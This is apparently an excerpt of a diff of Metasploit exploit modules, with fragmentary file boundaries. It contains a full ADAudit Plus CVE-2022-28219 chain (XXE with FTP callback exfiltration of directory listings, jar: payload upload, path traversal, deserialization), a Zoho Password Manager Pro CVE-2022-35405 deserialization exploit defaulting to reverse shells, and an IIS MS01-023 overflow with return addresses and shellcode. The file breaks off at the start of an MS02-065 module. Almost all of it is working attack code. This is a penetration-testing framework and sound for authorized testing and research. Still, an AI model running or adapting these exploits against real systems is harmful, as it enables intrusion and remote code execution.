to upload and execute an executable file.
|
||||
},
|
||||
'Author' => [
|
||||
'Naveen Sunkavally', # Initial PoC + disclosure
|
||||
'Ron Bowes', # Analysis and module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2022-28219'],
|
||||
['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],
|
||||
['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],
|
||||
['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],
|
||||
],
|
||||
'DisclosureDate' => '2022-06-29',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8081
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),
|
||||
OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),
|
||||
OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),
|
||||
OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),
|
||||
OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),
|
||||
OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),
|
||||
OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),
|
||||
])
|
||||
end
|
||||
|
||||
def srv_host
|
||||
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
|
||||
return datastore['URIHOST'] || Rex::Socket.source_address(rhost)
|
||||
end
|
||||
|
||||
return datastore['SRVHOST']
|
||||
end
|
||||
|
||||
def check
|
||||
# Make sure it's ADAudit Plus by requesting the root and checking the title
|
||||
res1 = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
unless res1
|
||||
return CheckCode::Unknown('Target failed to respond to check.')
|
||||
end
|
||||
|
||||
unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)
|
||||
return CheckCode::Safe('Does not appear to be ADAudit Plus')
|
||||
end
|
||||
|
||||
# Check if it's a vulnerable version (the patch removes the /cewolf endpoint
|
||||
# entirely)
|
||||
res2 = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")
|
||||
)
|
||||
|
||||
unless res2
|
||||
return CheckCode::Unknown('Target failed to respond to check.')
|
||||
end
|
||||
|
||||
unless res2.code == 200
|
||||
return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')
|
||||
end
|
||||
|
||||
CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')
|
||||
end
|
||||
|
||||
def exploit
|
||||
# List the /users folder - this is good to do first, since we can fail early
|
||||
# if something isn't working
|
||||
vprint_status('Attempting to exploit XXE to get a list of users')
|
||||
users = get_directory_listing('/users')
|
||||
unless users
|
||||
fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')
|
||||
end
|
||||
|
||||
# Remove common users
|
||||
users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']
|
||||
if users.empty?
|
||||
fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')
|
||||
end
|
||||
print_status("User accounts discovered: #{users.join(', ')}")
|
||||
|
||||
# I can't figure out how to properly encode spaces, but using the 8.3
|
||||
# version works! This converts them
|
||||
users.map do |u|
|
||||
if u.include?(' ')
|
||||
u = u.gsub(/ /, '')[0..6].upcase + '~1'
|
||||
end
|
||||
u
|
||||
end
|
||||
|
||||
# Check the filesystem for existing payloads that we should ignore
|
||||
vprint_status('Enumerating old payloads cached on the server (to skip later)')
|
||||
existing_payloads = search_for_payloads(users)
|
||||
|
||||
# Create a serialized payload
|
||||
begin
|
||||
# Create a queue so we can detect when the payload is delivered
|
||||
queue = Queue.new
|
||||
|
||||
# Upload payload to remote server
|
||||
# (this spawns a thread we need to clean up)
|
||||
print_status('Attempting to exploit XXE to store our serialized payload on the server')
|
||||
t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)
|
||||
|
||||
# Wait for something to arrive in the queue (basically using it as a
|
||||
# semaphor
|
||||
vprint_status('Waiting for the payload to be sent to the target')
|
||||
queue.pop # We don't need the result
|
||||
|
||||
# Get a list of possible payloads (never returns nil)
|
||||
vprint_status("Trying to find our payload in all users' temp folders")
|
||||
possible_payloads = search_for_payloads(users)
|
||||
possible_payloads -= existing_payloads
|
||||
|
||||
# Make sure the payload exists
|
||||
if possible_payloads.empty?
|
||||
fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')
|
||||
end
|
||||
|
||||
# If multiple payloads appeared, abort for safety
|
||||
if possible_payloads.length > 1
|
||||
fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")
|
||||
end
|
||||
|
||||
# Execute the one payload
|
||||
payload_path = possible_payloads.pop
|
||||
print_status("Triggering payload: #{payload_path}...")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"
|
||||
)
|
||||
|
||||
if res&.code != 200
|
||||
fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")
|
||||
end
|
||||
ensure
|
||||
# Kill the upload thread
|
||||
if t
|
||||
begin
|
||||
t.kill
|
||||
rescue StandardError
|
||||
# Do nothing if we fail to kill the thread
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_directory_listing(folder)
|
||||
print_status("Getting directory listing for #{folder} via XXE and FTP")
|
||||
|
||||
# Generate a unique callback URL
|
||||
path = "/#{rand_text_alpha(rand(8..15))}.dtd"
|
||||
full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"
|
||||
|
||||
# Send the username anonymous and no password so the server doesn't log in
|
||||
# with the password "Java1.8.0_51@" which is detectable
|
||||
# We use `end_tag` at the end so we can detect when the listing is over
|
||||
end_tag = rand_text_alpha(rand(8..15))
|
||||
ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"
|
||||
serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")
|
||||
|
||||
# Start a server to handle the reverse FTP connection
|
||||
ftp_server = Rex::Socket::TcpServer.create(
|
||||
'LocalPort' => datastore['SRVPORT_FTP'],
|
||||
'LocalHost' => datastore['SRVHOST'],
|
||||
'Comm' => select_comm,
|
||||
'Context' => {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
|
||||
# Trigger the XXE to get file listings
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
|
||||
'ctype' => 'application/json',
|
||||
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")
|
||||
)
|
||||
|
||||
if res&.code != 200
|
||||
fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")
|
||||
end
|
||||
|
||||
ftp_client = nil
|
||||
begin
|
||||
# Wait for a connection with a timeout
|
||||
select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])
|
||||
|
||||
unless select_result && !select_result.empty?
|
||||
print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")
|
||||
return nil
|
||||
end
|
||||
|
||||
# Accept the connection
|
||||
ftp_client = ftp_server.accept
|
||||
|
||||
# Print a standard banner
|
||||
ftp_client.print("220 Microsoft FTP Service\r\n")
|
||||
|
||||
# We need to flip this so we can get a directory listing over multiple packets
|
||||
directory_listing = nil
|
||||
|
||||
loop do
|
||||
select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])
|
||||
|
||||
# Check if we ran out of data
|
||||
if !select_result || select_result.empty?
|
||||
# If we got nothing, we're sad
|
||||
if directory_listing.nil? || directory_listing.empty?
|
||||
print_warning('Did not receive data from our reverse FTP connection')
|
||||
return nil
|
||||
end
|
||||
|
||||
# If we have data, we're happy and can break
|
||||
break
|
||||
end
|
||||
|
||||
# Receive the data that's waiting
|
||||
data = ftp_client.recv(256)
|
||||
if data.empty?
|
||||
# If we got nothing, we're done receiving
|
||||
break
|
||||
end
|
||||
|
||||
# Match behavior with ftp://test.rebex.net
|
||||
if data =~ /^USER ([a-zA-Z0-9_.-]*)/
|
||||
ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")
|
||||
elsif data =~ /^PASS /
|
||||
ftp_client.print("230 User logged in.\r\n")
|
||||
elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/
|
||||
ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")
|
||||
elsif data =~ /^EPSV ALL/
|
||||
ftp_client.print("200 ESPV command successful.\r\n")
|
||||
elsif data =~ /^EPSV/ # (no space)
|
||||
ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")
|
||||
elsif data =~ /^RETR (.*)/m
|
||||
# Store the start of the listing
|
||||
directory_listing = Regexp.last_match(1)
|
||||
else
|
||||
# Have we started receiving data?
|
||||
# (Disable Rubocop, because I think it's way more confusing to
|
||||
# continue the elsif train)
|
||||
if directory_listing.nil? # rubocop:disable Style/IfInsideElse
|
||||
# We shouldn't really get here, but if we do, just play dumb and
|
||||
# keep the client talking
|
||||
ftp_client.print("230 User logged in.\r\n")
|
||||
else
|
||||
# If we're receiving data, just append
|
||||
directory_listing.concat(data)
|
||||
end
|
||||
end
|
||||
|
||||
# Break when we get the PORT command (this is faster than timing out,
|
||||
# but doesn't always seem to work)
|
||||
if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m
|
||||
directory_listing = Regexp.last_match(1)
|
||||
break
|
||||
end
|
||||
end
|
||||
ensure
|
||||
ftp_server.close
|
||||
if ftp_client
|
||||
ftp_client.close
|
||||
end
|
||||
end
|
||||
|
||||
# Handle FTP errors (which thankfully aren't as common as they used to be)
|
||||
unless ftp_client
|
||||
print_warning("Didn't receive expected FTP connection")
|
||||
return nil
|
||||
end
|
||||
|
||||
if directory_listing.nil? || directory_listing.empty?
|
||||
vprint_warning('FTP client connected, but we did not receive any data over the socket')
|
||||
return nil
|
||||
end
|
||||
|
||||
# Remove PORT commands, split at \r\n or \n, and remove empty elements
|
||||
directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)
|
||||
end
|
||||
|
||||
def search_for_payloads(users)
|
||||
return users.flat_map do |u|
|
||||
dir = "/users/#{u}/appdata/local/temp"
|
||||
# This will search for the payload, but right now just print stuff
|
||||
listing = get_directory_listing(dir)
|
||||
unless listing
|
||||
vprint_warning("Couldn't get directory listing for #{dir}")
|
||||
next []
|
||||
end
|
||||
|
||||
listing
|
||||
.select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }
|
||||
.map { |f| File.join(dir, f) }
|
||||
end
|
||||
end
|
||||
|
||||
def upload_payload(payload, queue)
|
||||
t = framework.threads.spawn('adaudit-payload-deliverer', false) do
|
||||
c = nil
|
||||
begin
|
||||
# We use a TCP socket here so we can hold the socket open after the HTTP
|
||||
# conversation has concluded. That way, the server caches the file in
|
||||
# the user's temp folder while it waits for more data
|
||||
http_server = Rex::Socket::TcpServer.create(
|
||||
'LocalPort' => datastore['SRVPORT_HTTP2'],
|
||||
'LocalHost' => srv_host,
|
||||
'Comm' => select_comm,
|
||||
'Context' => {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
|
||||
# Wait for the reverse connection, with a timeout
|
||||
select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])
|
||||
unless select_result && !select_result.empty?
|
||||
fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")
|
||||
end
|
||||
|
||||
# Receive and discard the HTTP request
|
||||
c = http_server.accept
|
||||
c.recv(1024)
|
||||
c.print "HTTP/1.1 200 OK\r\n"
|
||||
c.print "Connection: keep-alive\r\n"
|
||||
c.print "\r\n"
|
||||
c.print payload
|
||||
|
||||
# This will notify the other thread that something has arrived
|
||||
queue.push(true)
|
||||
|
||||
# This has to stay open as long as it takes to enumerate all users'
|
||||
# directories to find then execute the payload. ~5 seconds works on
|
||||
# a single-user system, but I increased this a lot for production.
|
||||
# (This thread should be killed when the exploit completes in any case)
|
||||
Rex.sleep(60)
|
||||
ensure
|
||||
http_server.close
|
||||
if c
|
||||
c.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Trigger the XXE to get file listings
|
||||
path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
|
||||
full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
|
||||
'ctype' => 'application/json',
|
||||
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")
|
||||
)
|
||||
|
||||
if res&.code != 200
|
||||
fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")
|
||||
end
|
||||
|
||||
return t
|
||||
end
|
||||
|
||||
def serve_http_file(path, respond_with = '')
|
||||
# do not use SSL for the attacking web server
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
end
|
||||
|
||||
start_service({
|
||||
'Uri' => {
|
||||
'Proc' => proc do |cli, _req|
|
||||
send_response(cli, respond_with)
|
||||
end,
|
||||
'Path' => path
|
||||
}
|
||||
})
|
||||
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
end
|
||||
|
||||
def create_json_request(xml_payload)
|
||||
[
|
||||
{
|
||||
'DomainName' => datastore['domain'],
|
||||
'EventCode' => 4688,
|
||||
'EventType' => 0,
|
||||
'TimeGenerated' => 0,
|
||||
'Task Content' => xml_payload
|
||||
}
|
||||
].to_json
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,159 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Zoho Password Manager Pro XML-RPC Java Deserialization',
|
||||
'Description' => %q{
|
||||
This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro
|
||||
before 12101 and PAM360 before 5510. Unauthenticated attackers can send a
|
||||
crafted XML-RPC request containing malicious serialized data to /xmlrpc to
|
||||
gain RCE as the SYSTEM user.
|
||||
},
|
||||
'Author' => [
|
||||
'Vinicius', # Discovery
|
||||
'Y4er', # Writeup
|
||||
'Grant Willcox' # Exploit
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2022-35405'],
|
||||
['URL', 'https://xz.aliyun.com/t/11578'], # Writeup
|
||||
['URL', 'https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html'], # Advisory
|
||||
['URL', 'https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm'] # The patch.
|
||||
],
|
||||
'DisclosureDate' => '2022-06-24', # Vendor release date of patch and new installer, as advisory lacks any date.
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows EXE Dropper',
|
||||
{
|
||||
'Arch' => ARCH_X64,
|
||||
'Type' => :windows_dropper,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :windows_command,
|
||||
'Space' => 3000,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Powershell',
|
||||
{
|
||||
'Arch' => ARCH_X64,
|
||||
'Type' => :windows_powershell,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(7272),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
# Send an empty serialized object
|
||||
res = send_request_xmlrpc('')
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target did not respond to check.')
|
||||
end
|
||||
|
||||
if res.body.include?('Failed to read result object: null')
|
||||
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
|
||||
end
|
||||
|
||||
CheckCode::Safe('Target cannot deserialize arbitrary data.')
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :windows_command
|
||||
execute_command(payload.encoded)
|
||||
when :windows_dropper
|
||||
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
|
||||
execute_cmdstager({ linemax: cmd_target.opts['Space'] })
|
||||
when :windows_powershell
|
||||
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
|
||||
res = send_request_xmlrpc(
|
||||
generate_java_deserialization_for_command('CommonsBeanutils1', 'cmd', cmd)
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
|
||||
end
|
||||
|
||||
print_good("Successfully executed command: #{cmd}")
|
||||
end
|
||||
|
||||
def send_request_xmlrpc(data)
|
||||
# http://xmlrpc.com/
|
||||
# https://ws.apache.org/xmlrpc/
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/xmlrpc'),
|
||||
'ctype' => 'text/xml',
|
||||
'data' => <<~XML
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<struct>
|
||||
<member>
|
||||
<name>#{rand_text_alphanumeric(8..42)}</name>
|
||||
<value>
|
||||
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
|
||||
</value>
|
||||
</member>
|
||||
</struct>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
XML
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -6,99 +6,124 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in the request processor of
|
||||
the Internet Printing Protocol ISAPI module in IIS. This
|
||||
module works against Windows 2000 service pack 0 and 1. If
|
||||
the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in the request processor of the
|
||||
Internet Printing Protocol ISAPI module in IIS. This module
|
||||
works against Windows 2000 Server and Professional SP0-SP1.
|
||||
|
||||
If the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2001-0241'],
|
||||
[ 'OSVDB', '3323'],
|
||||
[ 'BID', '2674'],
|
||||
[ 'MSB', 'MS01-023'],
|
||||
[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 900,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'Space' => 900,
|
||||
'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows 2000 English SP0-SP1',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x732c45f3,
|
||||
},
|
||||
],
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'DisclosureDate' => '2001-05-01',
|
||||
'DefaultTarget' => 0))
|
||||
'Targets' => [
|
||||
# jmp esp @ compfilt.dll
|
||||
[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
|
||||
# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
|
||||
[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
# jmp esp @ ws2_32.dll
|
||||
[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
|
||||
[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
|
||||
],
|
||||
'Arch' => [ARCH_X86],
|
||||
'Platform' => 'win',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'DefaultTarget' => 4,
|
||||
'DisclosureDate' => '2001-05-01'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
connect
|
||||
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
res = send_request_cgi({
|
||||
'uri' => '/NULL.printer',
|
||||
'version' => '1.0'
|
||||
})
|
||||
|
||||
if !(resp and resp =~ /Error in web printer/)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
return CheckCode::Safe unless res.code == 500
|
||||
# Error response is language dependent: "<b>Error in web printer install.</b>"
|
||||
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
|
||||
|
||||
connect
|
||||
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
res = send_request_cgi({
|
||||
'uri' => '/NULL.printer',
|
||||
'vhost' => rand_text_alpha(257),
|
||||
'version' => '1.0'
|
||||
})
|
||||
|
||||
if (resp and resp =~ /locked out/)
|
||||
print_status("The IUSER account is locked out, we can't check")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
|
||||
return CheckCode::Safe unless res.code == 500
|
||||
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
|
||||
|
||||
if (resp and resp.index("HTTP/1.1 500") >= 0)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
print_status("Using target: #{target.name} ...")
|
||||
|
||||
buf = make_nops(280)
|
||||
buf[268, 4] = [target.ret].pack('V')
|
||||
buf = make_nops(268)
|
||||
buf << [target.ret].pack('V')
|
||||
buf << make_nops(8)
|
||||
|
||||
# payload is at: [ebx + 96] + 256 + 64
|
||||
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
|
||||
buf << "\x80\xc1\x40" # add cl, 64
|
||||
buf << "\x80\xc5\x01" # add ch, 1
|
||||
buf << "\xff\xe1" # jmp ecx
|
||||
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
|
||||
buf << "\x80\xc1\x40" # add cl, 64
|
||||
buf << "\x80\xc5\x01" # add ch, 1
|
||||
buf << "\xff\xe1" # jmp ecx
|
||||
|
||||
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
|
||||
res = send_request_cgi({
|
||||
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
|
||||
'version' => '1.0'
|
||||
}, 5)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
# It is expected that we receive no reply. A reply indicates exploit failure.
|
||||
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize
|
||||
def initialize(info = {})
|
||||
super(
|
||||
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
|
||||
'Description' => %q{
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
|
||||
'Description' => %q{
|
||||
This module can be used to execute arbitrary code on IIS servers
|
||||
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||||
